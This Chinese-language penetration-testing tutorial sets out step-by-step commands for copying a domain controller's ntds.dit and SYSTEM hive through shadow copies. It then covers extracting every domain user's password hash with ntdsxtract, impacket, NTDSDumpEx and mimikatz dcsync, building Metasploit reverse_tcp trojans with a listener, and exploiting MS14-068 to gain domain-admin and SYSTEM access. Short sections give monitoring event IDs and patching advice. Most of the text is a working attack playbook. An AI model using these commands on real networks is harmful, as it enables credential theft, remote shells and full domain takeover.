在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit
文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得文件的副本。
一、使用卷影拷贝服务提取 ntds.dit
在活动目录中,所有的数据都保存在 ntds.dit 文件中。ntds.dit 是一个二进制文件,存储位置为域控制器的 %SystemRoot%\ntds\ntds.dit
。ntds.dit 中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和 SAM 文件一样,是被 Windows 操作系统锁定的。
1.1 通过 ntdsutil.exe 提取 ntds.dit
ntdsutil.exe 是一个为活动目录提供管理机制的命令行工具。使用 ntdsutil.exe,可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe) 成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe 支持的操作系统由 Windows Server 2003、Windows Server 2008、Windows Server 2012。
在域控制器中创建一个快照,该快照包含 Windows 中所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。命令行输入:
ntdsutil snapshot "activate instance ntds" create quit quit
创建了如图 GUID 的快照。
加载快照:
ntdsutil snapshot "mount {GUID}" quit quit
已经将快照加载到了 c:\$SNAP_202110181309_VOLUMEC$\
目录下。
将所需文件 copy 出来:
copy c:\$SNAP_202110181309_VOLUMEC$\windows\ntds\ntds.dit .\ntds.dit
也可以手动复制粘贴。
可以看到复制粘贴到了这里。(可以自己分配路径如 c:\a\ntds.dit
)
卸予之前加载的快照并删除:
ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
查询快照:
ntdsutil snapshot "list all" quit quit
可以看到指定的快照已经被删除。
1.2 利用 vssadmin 提取 ntds.dit
vssadminn 是 Windows Server 2008 及 Windows 7 提供的 VSS 管理工具,可用于创建和删除卷影拷贝、列出卷影拷贝的信息 (只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序和提供程序,以及改变卷影拷贝的存储空间(即所谓的 “diff空间”) 的大小等。
#查询当前系统的快照
vssadmin list shadows
#创建快照 (创建一个C盘的卷影拷贝)
vssadmin create shadow /for=c:
#复制所需文件
copy 文件路径 要copy到的路径
#删除快照
vssadmin delete shadows /for=c: /quiet
1.3 利用 vssown.vbs 脚本提取 ntds.dit
vssown.vbs 脚本的功能和 vssadmin 类似。vssown.vbs 脚本是由 Tim Tomes 开发的,可用于创建和删除卷影拷贝,以及启动和停止卷影拷贝服务。
https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs
#启动 VSS 服务
cscript vssown.vbs /start
#创建一个C盘的卷影拷贝
cscript vssown.vbs /create c
#列出当前卷影拷贝
cscript vssown.vbs /list
#复制ntds.dit 为数字
copy \\?......\windows\NTDS\ntds.dit c:\nono\ntds.dit
#删除卷影拷贝
cscript vssown.vbs /delete {ID}
1.4 使用 ntdsutil 的 IFM 创建卷影拷贝
可以使用创建一个 IFM 的方式获取 ntds.dit。在使用 ntdsutil 创建 IFM 时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作。 也可以通过PowerShell 或 WMI 远程执行。
在域控制器中以管理员模式打开命令行环境,输入:
#复制文件到 test
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
在C盘内创建test目录,test下Active Directory 文件夹下有ntds.dit文件,registry文件下有SECURITY, SYSTEM文件。
复制ntds.dit文件后删除test文件夹。
rmdir /s/q test
//导入脚本
import-module .\Copy-Vss.ps1
//执行命令
Copy-vss
1.5 使用 diskshadow 导出 ntds.dit
Windows Server 2008、Windows Server 2012 和 Windows Server 2016 都默认包含 diskshadow。
diskshadow 有交互和非交互两种模式。在使用交互模式时,需要登录远程桌面的图形化管理界面。不论是交互模式还是非交互模式,都可以使用 exec 调取一个脚本文件来执行相关命令。
在渗透测试中,可以使用 diskshadow.exe 来执行命令。例如,将需要执行的命令 exec c:\windows\system32\calc.exe
写入C盘目录下的 a.txt 文件,再使用 diskshadow.exe 执行该文件中的命令。
创建一个 command.txt 文件文件:
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//将 ntds.dit 文件复制到C盘
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//删除所有快照
delete shadows all
//列出系统中的卷影拷贝
list shadows all
//重置
reset
//退出
exit
使用 diskshadow.exe 直接加载这个文件文件: (该命令应该在 C:\windows\system32\ 下执行)
diskshadow /s c:\command.txt
导出 ntds.dit 后,可以将 system.hive 转储。因为 system.hive 中存放着 ntds.dit 的密钥,所以,如果没有该密钥,将无法查看 ntds.dit 中的信息:
reg save hklm\system c:\windows\temp\system.hive
注意:
- 渗透测试人员可以在非特权用户权限下使用 diskshadow.exe 的部分功能。与其他工具相比,diskshadow 的使用更为灵活。
- 在使用 diskshadow.exe 执行命令时,需要将文本文件上传到目标操作系统的本地磁盘中,或者通过交互模式完成操作。而在使用 vshadow 等工具时,可以直接执行相关命令。
- 在使用 diskshadow.exe 导出 ntds.dit 时,可以通过 WMI 对远程主机进行操作。
- 在使用 diskshadow.exe 导出 ntds.dit 时,必须在
C:\windows\system32\
中进行操作。 - 脚本执行后,要检查从快照中复制出来的 ntds.dit 文件的大小。如果文件大小发生了改变,可以检测或修改脚本后重新执行。
1.6 监控卷影拷贝服务的使用情况
通过监控卷影拷贝服务的使用情况,可以即使发现攻击者在系统中进行的一些恶意操作。
- 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为。
- 监控 System Event ID 7036 (卷影拷贝服务进入运行状态的标志) 的可疑实例,以及创建 vssvc.exe 进程的事件。
- 监控创建 diskshadow.exe 及相关子进程的事件。
- 监控客户端设备中的 diskshadow.exe 实例创建事件。除非业务需要,在 Windows 操作系统中不应该出现 diskshadow.exe。如果发现,应立刻将其删除。
- 通过日志监控新出现的逻辑驱动器映射事件。
- 执行
ntdsutil snapshot "activate instance ntds" create quit quit
会额外产生Event ID为98的日志文件
二、导出 ntds.dit 中的散列值
2.1 使用 esedbexport 恢复 ntds.dit
https://github.com/libyal/libesedb/releases
kali环境:
wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gz
tar xf libesedb-experimental-20200418.tar.gz
cd libesedb-20200418/
# 安装依赖环境
apt-get install autoconf automake autopoint libtool pkg-config
# 编译安装
./configure
make
make install
ldconfig
安装完后会在 /usr/local/bin/
目录下看到 esedbexport 程序。
进入存放 ntds.dit 的目录,使用 esedbexport 进行恢复操作。输入如下命令提取表信息:
esedbexport -m tables ntds.dit
2.2 导出散列值
Kali中:
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract/
python setup.py build && python setup.py install
执行完毕后,ntdsxtract就会在你的系统上进行安装。
ntdsxtract 工具中dsusers.py 可以被用来从分离出来的表中提取用户信息,以及NT/LM密码hash值。前提是具有如下三个文件:
datatable
link_table
system hive
这个工具的使用规则为:
dsusers.py -syshive -passwordhashes
-pwdformat 选项是选择以什么格式进行格式提取,有John(John format),ocl(oclHashcat),ophc(OphCrack) 三个选项。
这个工具还会将所获得信息输出出来,这也方便了我们可以将信息写入到其他文件当中。
以oclHashcat格式提取所有NT和LM的hash,并将它们保存在”output”目录中的”ntout”和”lmout”中: (将导出的ntds.dit.export 文件夹和 SYSTEM 文件一并放入 ntdsxtract 文件夹)
dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt
如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可。
将域内的所有用户名及散列值导出到all_user_info.txt 中。
ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息及其他信息:
dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv
执行以上命令,可以导出域内所有计算机的信息,导出文件的格式为CSV。执行完毕之后他会在all_computers.csv中写入所有域中计算机信息。
2.3 使用 impacket 工具包导出散列值
https://github.com/SecureAuthCorp/impacket
git clone https://github.com/SecureAuthCorp/impacket
python setup.py install
导出 ntds.dit 中所有散列值:
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL
还可以直接通过用户名和散列值进行验证,从远程域控制器中读取 ntds.dit 并转储域散列值:
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:de9a868cef19bda26c1b600894efddd7 -just-dc sec.com/administrator@192.168.2.10
2.4 Windows 下解析并导出域散列值
使用 NTDSDumpex.exe 可以进行导出散列值的操作。
下载:https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip
域控上运行:(同样需要ntds.dit和system.hive和NTDSDumpex.exe 在同一文件夹下)
.\NTDSDumpEx.exe -d ntds.dit -s system.hive
。。。
三、利用 dcsync 获取域散列值
3.1使用mimikatz转储域散列值
mimikatz有一个dcsync 功能,可以利用卷影拷贝服务直接读取ntds.dit文件并检索域散列值。需要注意的是,必须使用域管理员权限运行mimikatz才可以读取ntds.dit。
在域内的任意一台计算机中,以域管理员权限打开命令行环境,运行mimikatz。输人如下命令,使用mimikatz导出域内的所有用户名及散列值:
lsadump::dcsync /domain:hacke.testlab /all /csv
也可以指定用户,获取指定用户散列值:
lsadump::dcsync /domain:hacke.testlab /user:administrator
也可以直接在域控制器中运行 mimikatz,通过转储 lsass.exe 进程对散列值进行 dump 操作:
privilege::debug
lsadump::lsa /inject
如果没有预先执行 privilege::debug 命令,将导致权限不足,读取失败。如果用户数量太多 mimikatz 无法完全将其显示出来,可以先执行log命令(会在 mimikatz 目录下生成一个文本文件,用于记录 mimikatz 的所有执行结果)。
3.2使用dcsync获取域账号和域散列值
Invoke-DCSync.ps1 可以利用 dcsync 直接读取 ntds.dit,以获取域账号和域散列值。(该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接读取 ntds.dit 得到域用户密码散列值)
Invoke-DCSync -PWDumpFormat
后面的参数用于格式化输出散列值
Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
四、使用MSF获取域散列值
4.1psexec_ntdsgrab 模块的使用
use auxiliary/admin/smb/psexec_ntdsgrab
输入show options
命令,查看需要配置的参数:
将 RHOST, SMBDomain, SMBUser, SMBPass 配置完成。
run 或 exploit,(一次不成多试试)该脚本使用卷影拷贝服务,将 ntds.dit 文件和 system 项复制并传送到Kali中的/root/.msf4/loot/
文件夹下。
然后就可以使用impacket 工具包等解析 ntds.dit 文件,导出域账号和域散列值。
4.2基于 MSF 会话获取域账号和域散列值
生成木马:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.78.131 LPORT=4444 -f exe>msf.exe
监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 4444
exploit -j -z
输入 “show options” 命令查看配置情况,配置参数。
将生成的木马放入目标机中,运行。
使用 doamin_hashdump
模块获取域账号和域散列值。
use post/windows/gather/credentials/domain_hashdump
设置· session 后 exploit 。
五、使用vshadow.exe和QuarksPwDump.exe导出域账号和域散列值
在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大,不方便保存到本地。如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出 ntds.dit 并获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。
vshadow.exe 是从 Windows SDK 中提取出来的。可以可以生成快照—->http://ophcrack.sourceforge.net/tables.php
QuarksPwDump可以快速、安全、全面地读取全部域账号和域散列值—->https://github.com/quarkslab/quarkspwdump
在线破解:
六、Kerberos域用户提权漏洞分析与防范
微软在2014年11月18日发布了一个紧急补丁,修复了Kerberos域用户提权漏洞(MS14-068;CVE-2014-6324 )。所有Windows服务器操作系统都会受该漏洞的影响,包括Windows Server2003、Windows Server 2008、Windows Server 2008 R2、Windows Server 2012和 Windows Server2012R2。该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell 权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限。 这个漏洞产生的原因是:用户在向Kerberos密钥分发中心(KDC)申请TGT (由票据授权服务产生的身份凭证)时,可以伪造自己的Kerberos票据。如果票据声明自己有域管理员权限,而KDC 在处理该票据时未验证票据的签名,那么,返给用户的TGT 就使普通域用户拥有了域管理员权限。该用户可以将TGT 发送到KDC,KDC的TGS(票据授权服务)在验证TGT 后,将服务票据(Service Ticket )发送给该用户,而该用户拥有访问该服务的权限,从而使攻击者可以访问域内的资源。
6.1测试环境
- 域:hacke.testlab
- 域账号:hacke\user
- 域 SID:s-1-5-21-2370432xxx-12xxx5-xxxxxxxxxx-xxxx
- 域控制器:win2012 R2 192.168.1.1
6.2PyKEK 工具包
https://technet.microsoft.com/library/security/ms14-068
PyKEK 是利用 Kerberos 协议进行渗透测试的工具包。
使用 PyKEK 可以生成一张高权限的服务票据,并通过 mimikatz 将服务票据注入内存。
ms14-068.py 是工具包中漏洞利用脚本。
用法:
USAGE:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
OPTIONS:
-u <username>@<domainName> 用户名@域名
-s <userSid> 用户 SID
-d <doaminControllerAddr> 域控制器地址
-p <clearPassword> 明文密码
-rc4 <ntlmHash> 在没有明文密码的情况下,通过 NTLM Hash 登录
查看域控服务器是否安装补丁 KB3011780
wmic qfe get hotfixid
没有该补丁。
查看用户的SID
whoami /user
或
wmic useraccount get name,sid //获取域内所有用户的SID
生成高权限票据
使用 PyKEK生成高权限票据的命令:
ms14-068.py -u 域成员名@域名 -s 域成员的sid -d 域控制器地址 -p 域成员密码
在pykek目录中输入如下命令,生成一个名为 TGT_testuser@hacke.testlab.ccache
的票据文件。
查看注入前的权限
将票据文件复制到 Win7 机器的 mimikatz 目录下,使用 mimikatz 将票据注入内存。输入命令 net use \\DC.hacke.testlab\c$
或 dir \\192.168.1.1\c$
,提示 “Access is denied”,表示在将票据注入前无法列出域控制器C盘目录的内容。
清除内存中的所有票据
打开 mimikatz,输入命令:
kerberos::purge
清除内存中的票据信息,如图成功。
将高权限票据注入内存
在 mimikatz 中输入 (Injecting ticket: OK 表示注入成功)
kerberos::ptc "TGT_testuser@hacke.testlab.ccache"
验证权限
dir \\DC.hacke.testlab\c$
尝试失败,应该是域控的原因。emmm,现在只有这一个环境,就先暂停这个了。
6.3 glodenPac.py
goldenPac.py 是一个用于对 Kerberos 进行测试的工具,它集成在 impacket 工具包中,存放在 impacket/examples 目录下。
goldenPac.py的命令格式如下:
python goldenPac.py 域名/域成员用户:域成员用户密码@域控制器地址
安装 Kerberos 客户端
Kali中默认不包含 Kerberos,所有要安装:
apt-get install krb5-user -y
配合使用 PsExce 获取域控制器中的 shell
使用 goldenPac.py 获取域控制器的 shell:
python goldenPac.py hacke.testlab/testuser:lyz.0831@192.168.1.1
goldenPac.py 是通过 PsExce 获得 shell 的,会产生大量的日志,加之 PsExce 已经被很多反病毒厂商列为危险文件,所以,在日常网络维护中,我们很容易就能发现攻击者使用 goldenPac.py 实现的恶意行为。
6.4 msf
首先,打开Metasploit,找到MS14-068漏洞的利用脚本,执行如下命令:
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
- DOMAIN: 域名。
- PASSWORD: 被提权用户的密码。
- USER: 被提权的用户。
- USER_SID: 被提权用户的 SID。
- RHOST: 域控机器的IP
设置相关信息,exploit,生成 bin 文件:
接下来,进行格式转换。因为 MSF 不支持 bin 文件的导入,所以要先使用 mimikatz 对文件进行转换。在 mimikatz 输入命令,导出 kirbi 格式的文件。
kerberos::clist "20211102200116_default_192.168.1.1_windows.kerberos_250451.bin" /export
msf 生成一个反向 shell:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.78.131 LPORT=4444 -f exe>shell.exe
msf 监听,拿到 win7 meterpreter 会话
use exploit/multi/reverse_tcp
set lhost 192.168.78.131
set lport 4444
exploit
meterpreter > getuid
Server username: hacke.testlab\testuser
输入 load kiwi
,然后输入
kerberos_ticket_use /tool/0-00000000-testuser@krbtgt-HACKE.TESTLAB.kirbi
接着输入 background
,切换到 MSF 后台,使用高权限票据进行测试:
msf exploit(handler) > use exploit/windows/local/current_user_psexec
设置相关选项
exploit
.....
.....
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
防范建议
针对 Kerberos 域用户提权漏洞:
- 开启 Windows Update 功能,进行自动更新。
- 手动下载补丁包进行修复。
- 对域内账号进行控制,禁止使用弱口令,及时,定期修改密码。
- 在服务器上安装反病毒软件,及时更新病毒库。